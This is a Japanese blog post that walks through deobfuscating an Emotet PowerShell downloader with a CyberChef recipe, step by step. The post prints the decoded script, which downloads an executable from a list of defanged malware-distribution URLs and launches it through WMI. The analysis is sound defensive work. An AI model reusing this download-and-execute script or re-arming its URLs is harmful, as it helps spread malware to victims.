TSALVIA技術メモ

CTFのWriteupや気になったツールについて書いていきます。また、このサイトはGoogle Analyticsを利用しています。

CyberChef で Emotet ダウンローダを読んでみた

CyberChef のレシピと変換結果

  • CyberChef レシピ

    CHEF FORMAT
    Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
    From_Base64('A-Za-z0-9+/=',true)
    Decode_text('UTF-16LE (1200)')
    CSS_Beautify('    ')
    Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false)
    Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false)
    Find_/_Replace({'option':'Simple string','string':'\'http'},'\\n\'http',true,false,true,false)
    Fork('\\n','\\n',false)
    Conditional_Jump('http',false,'http',1)
    To_Lower_case()
    Label('http')
    Merge()
    Register('(\\.["\'][Ss][Pp][Ll][Ii][Tt]["\'])',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R0'},'."split"',true,false,true,false)
    Register('((?<=\\+\\$).*(?=\\+))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R1'},'file_name',true,false,true,false)
    Register('((?<=\\$).*(?=\\=\\$env))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R2'},'file_path',true,false,true,false)
    Register('((?<=\\$).*(?=\\=.\\(.new-object))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R3'},'net_webclient',true,false,true,false)
    Register('((?<=in \\$).*(?=\\)))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R4'},'url_list',true,false,true,false)
    Register('((?<=\\$).*(?= in))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R5'},'url',true,false,true,false)
    Regular_expression('User defined','^(?=.*(file|net|url|http|break|{|})).*$',true,true,false,false,false,false,'List matches')
    Defang_URL(true,true,true,'Only full URLs')
    Syntax_highlighter('powershell')
    COMPACT JSON
    [{"op":"Regular expression","args":["User defined","[a-zA-Z0-9+/=]{30,}",true,true,false,false,false,false,"List matches"]},{"op":"From Base64","args":["A-Za-z0-9+/=",true]},{"op":"Decode text","args":["UTF-16LE (1200)"]},{"op":"CSS Beautify","args":["    "]},{"op":"Find / Replace","args":[{"option":"Simple string","string":"`"},"",true,false,true,false]},{"op":"Find / Replace","args":[{"option":"Simple string","string":"'+'"},"",true,false,true,false]},{"op":"Find / Replace","args":[{"option":"Simple string","string":"'http"},"\\n'http",true,false,true,false]},{"op":"Fork","args":["\\n","\\n",false]},{"op":"Conditional Jump","args":["http",false,"http",1]},{"op":"To Lower case","args":[]},{"op":"Label","args":["http"]},{"op":"Merge","args":[]},{"op":"Register","args":["(\\.[\"'][Ss][Pp][Ll][Ii][Tt][\"'])",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R0"},".\"split\"",true,false,true,false]},{"op":"Register","args":["((?<=\\+\\$).*(?=\\+))",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R1"},"file_name",true,false,true,false]},{"op":"Register","args":["((?<=\\$).*(?=\\=\\$env))",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R2"},"file_path",true,false,true,false]},{"op":"Register","args":["((?<=\\$).*(?=\\=.\\(.new-object))",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R3"},"net_webclient",true,false,true,false]},{"op":"Register","args":["((?<=in \\$).*(?=\\)))",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R4"},"url_list",true,false,true,false]},{"op":"Register","args":["((?<=\\$).*(?= in))",true,false,false]},{"op":"Find / Replace","args":[{"option":"Regex","string":"$R5"},"url",true,false,true,false]},{"op":"Regular expression","args":["User defined","^(?=.*(file|net|url|http|break|{|})).*$",true,true,false,false,false,false,"List matches"]},{"op":"Defang URL","args":[true,true,true,"Only full URLs"]},{"op":"Syntax highlighter","args":["powershell"]}]
    
  • デコード・整形後のスクリプト結果

    この検体以外にも60検体ほど試してみましたが、すべて同じように変換できました。

    f:id:tsalvia:20200304214220p:plain

  • 変換後のスクリプト

    以下のように、かなり読みやすくなりました。
    $file_name = '209';
    $file_path=$env:userprofile+'\'+$file_name+'.exe';
    $net_webclient=.('new-object') net.webclient;
    $url_list=
    'hxxp[://]bolehprediksi[.]com/wp-includes/ifrEFSqSw
    /*hxxp[://]www[.]designindia[.]live/js/ycCKqHl
    /*hxxp[://]www[.]hair2mpress[.]com/oeiwosk36j3ss/wtuds/vedMDhc
    /*hxxp[://]www[.]worldnoticiasonline[.]com/wp-content/uploads/vvhaa000vj-mq98v-19988518
    /*hxxps[://]9jabliss[.]com/oirxio/nwkddr/'."split"([char]42);
    foreach($url in $url_list){
        try{
            $net_webclient."downloadfile"($url, $file_path);
            if ((.('get-item') $file_path)."length" -ge 33624) {
                ([wmiclass]'win32_process')."create"($file_path);
                break;
            }
        }
        catch{
        }
    }
    

解説

ANY.RUN から PowerShell スクリプトを取ってくる

  1. 右端にある PROCESS から PoWERsheLL.exe -e ~ をクリックする。
  2. クリックして出てきた PROCESS DETAILS の More Info をクリックする。 f:id:tsalvia:20200304213411p:plain
  3. Command Line に実際に使用されたスクリプトが書かれている。 f:id:tsalvia:20200304213452p:plain
  4. コピーして CyberChef に貼る。

Base64デコードする

  • ここまでの CyberChef レシピ

    Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
    From_Base64('A-Za-z0-9+/=',true)
    Decode_text('UTF-16LE (1200)')
  • 変換結果

    f:id:tsalvia:20200304213850p:plain

  • ポイント

    • Regular_expression を使って正規表現Base64 文字列のみを抽出する。
    • Base64デコード後、UTF-16LEでデコードする。

整形して色を付ける

  • ここまでの CyberChef レシピ

    Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
    From_Base64('A-Za-z0-9+/=',true)
    Decode_text('UTF-16LE (1200)')
    CSS_Beautify('    ')
    Syntax_highlighter('powershell')
  • 変換結果

    f:id:tsalvia:20200304222112p:plain

  • ポイント

    • CSS_Beautify で整形する。
    • Syntax_highlighter で色を付ける。

` と '+' を削除する

  • ここまでの CyberChef レシピ

    Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
    From_Base64('A-Za-z0-9+/=',true)
    Decode_text('UTF-16LE (1200)')
    CSS_Beautify('    ')
    Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false)
    Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false)
    Syntax_highlighter('powershell')
  • 変換結果

    f:id:tsalvia:20200304222250p:plain

  • ポイント

    • '+' は、文字列同士を結合しているだけなので、Find/Replace で削除する。
    • ` は、エスケープ文字なので、Find/Replace で削除する。

URL以外の文字列を小文字に変換する

  • ここまでの CyberChef レシピ

    Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
    From_Base64('A-Za-z0-9+/=',true)
    Decode_text('UTF-16LE (1200)')
    CSS_Beautify('    ')
    Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false)
    Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false)
    Find_/_Replace({'option':'Simple string','string':'\'http'},'\\n\'http',true,false,true,false)
    Fork('\\n','\\n',false)
    Conditional_Jump('http',false,'http',1)
    To_Lower_case()
    Label('http')
    Merge()
    Register('(\\.["\'][Ss][Pp][Ll][Ii][Tt]["\'])',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R0'},'."split"',true,false,true,false)
    Syntax_highlighter('powershell')
  • 変換結果

    f:id:tsalvia:20200305013003p:plain

  • ポイント
    • 次の処理のため、事前に 'http の前に改行を入れる。
    • 各行ずつ分割して、並行処理させる。
      • Fork を使って1行ずつ分割して処理する。
      • Conditional_Jump で http を含んだ行を判定し、http という名前の Label までジャンプさせる。それ以外の行は、小文字に変換する。
      • Fork で分割して処理した結果を Merge で結合する。
    • sPLiT だけ小文字に変換されていないので、個別に変換する。
      • Register で sPLiT をレジスタ($R0)に登録する。
      • レジスタに登録された文字(sPLiT)を Find/Replace で split に変換する。

変数名を分かりやすくする

  • ここまでの CyberChef レシピ

    Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
    From_Base64('A-Za-z0-9+/=',true)
    Decode_text('UTF-16LE (1200)')
    CSS_Beautify('    ')
    Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false)
    Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false)
    Find_/_Replace({'option':'Simple string','string':'\'http'},'\\n\'http',true,false,true,false)
    Fork('\\n','\\n',false)
    Conditional_Jump('http',false,'http',1)
    To_Lower_case()
    Label('http')
    Merge()
    Register('(\\.["\'][Ss][Pp][Ll][Ii][Tt]["\'])',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R0'},'."split"',true,false,true,false)
    Register('((?<=\\+\\$).*(?=\\+))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R1'},'file_name',true,false,true,false)
    Register('((?<=\\$).*(?=\\=\\$env))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R2'},'file_path',true,false,true,false)
    Register('((?<=\\$).*(?=\\=.\\(.new-object))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R3'},'net_webclient',true,false,true,false)
    Register('((?<=in \\$).*(?=\\)))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R4'},'url_list',true,false,true,false)
    Register('((?<=\\$).*(?= in))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R5'},'url',true,false,true,false)
    Syntax_highlighter('powershell')
  • 変換結果

    f:id:tsalvia:20200304223918p:plain

  • ポイント

    • Register で該当する変数名をレジスタ($R1~$R5)に登録する。
    • それぞれを Find/Replace で分かりやすい変数名に変換していく。

未使用な変数定義を削除する

  • ここまでの CyberChef レシピ

    Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
    From_Base64('A-Za-z0-9+/=',true)
    Decode_text('UTF-16LE (1200)')
    CSS_Beautify('    ')
    Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false)
    Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false)
    Find_/_Replace({'option':'Simple string','string':'\'http'},'\\n\'http',true,false,true,false)
    Fork('\\n','\\n',false)
    Conditional_Jump('http',false,'http',1)
    To_Lower_case()
    Label('http')
    Merge()
    Register('(\\.["\'][Ss][Pp][Ll][Ii][Tt]["\'])',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R0'},'."split"',true,false,true,false)
    Register('((?<=\\+\\$).*(?=\\+))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R1'},'file_name',true,false,true,false)
    Register('((?<=\\$).*(?=\\=\\$env))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R2'},'file_path',true,false,true,false)
    Register('((?<=\\$).*(?=\\=.\\(.new-object))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R3'},'net_webclient',true,false,true,false)
    Register('((?<=in \\$).*(?=\\)))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R4'},'url_list',true,false,true,false)
    Register('((?<=\\$).*(?= in))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R5'},'url',true,false,true,false)
    Regular_expression('User defined','^(?=.*(file|net|url|http|break|{|})).*$',true,true,false,false,false,false,'List matches')
    Syntax_highlighter('powershell')
  • 変換結果

    f:id:tsalvia:20200304224435p:plain

  • ポイント

    • Regular_expression で file、net、url、http、break、{、} を含む行のみを抽出する。

URLを無力化する

  • ここまでの CyberChef レシピ

    Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches')
    From_Base64('A-Za-z0-9+/=',true)
    Decode_text('UTF-16LE (1200)')
    CSS_Beautify('    ')
    Find_/_Replace({'option':'Simple string','string':'`'},'',true,false,true,false)
    Find_/_Replace({'option':'Simple string','string':'\'+\''},'',true,false,true,false)
    Find_/_Replace({'option':'Simple string','string':'\'http'},'\\n\'http',true,false,true,false)
    Fork('\\n','\\n',false)
    Conditional_Jump('http',false,'http',1)
    To_Lower_case()
    Label('http')
    Merge()
    Register('(\\.["\'][Ss][Pp][Ll][Ii][Tt]["\'])',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R0'},'."split"',true,false,true,false)
    Register('((?<=\\+\\$).*(?=\\+))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R1'},'file_name',true,false,true,false)
    Register('((?<=\\$).*(?=\\=\\$env))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R2'},'file_path',true,false,true,false)
    Register('((?<=\\$).*(?=\\=.\\(.new-object))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R3'},'net_webclient',true,false,true,false)
    Register('((?<=in \\$).*(?=\\)))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R4'},'url_list',true,false,true,false)
    Register('((?<=\\$).*(?= in))',true,false,false)
    Find_/_Replace({'option':'Regex','string':'$R5'},'url',true,false,true,false)
    Regular_expression('User defined','^(?=.*(file|net|url|http|break|{|})).*$',true,true,false,false,false,false,'List matches')
    Defang_URL(true,true,true,'Only full URLs')
    Syntax_highlighter('powershell')
  • 変換結果

    f:id:tsalvia:20200304225449p:plain

  • ポイント

    • Defang_URL で URL を無力化する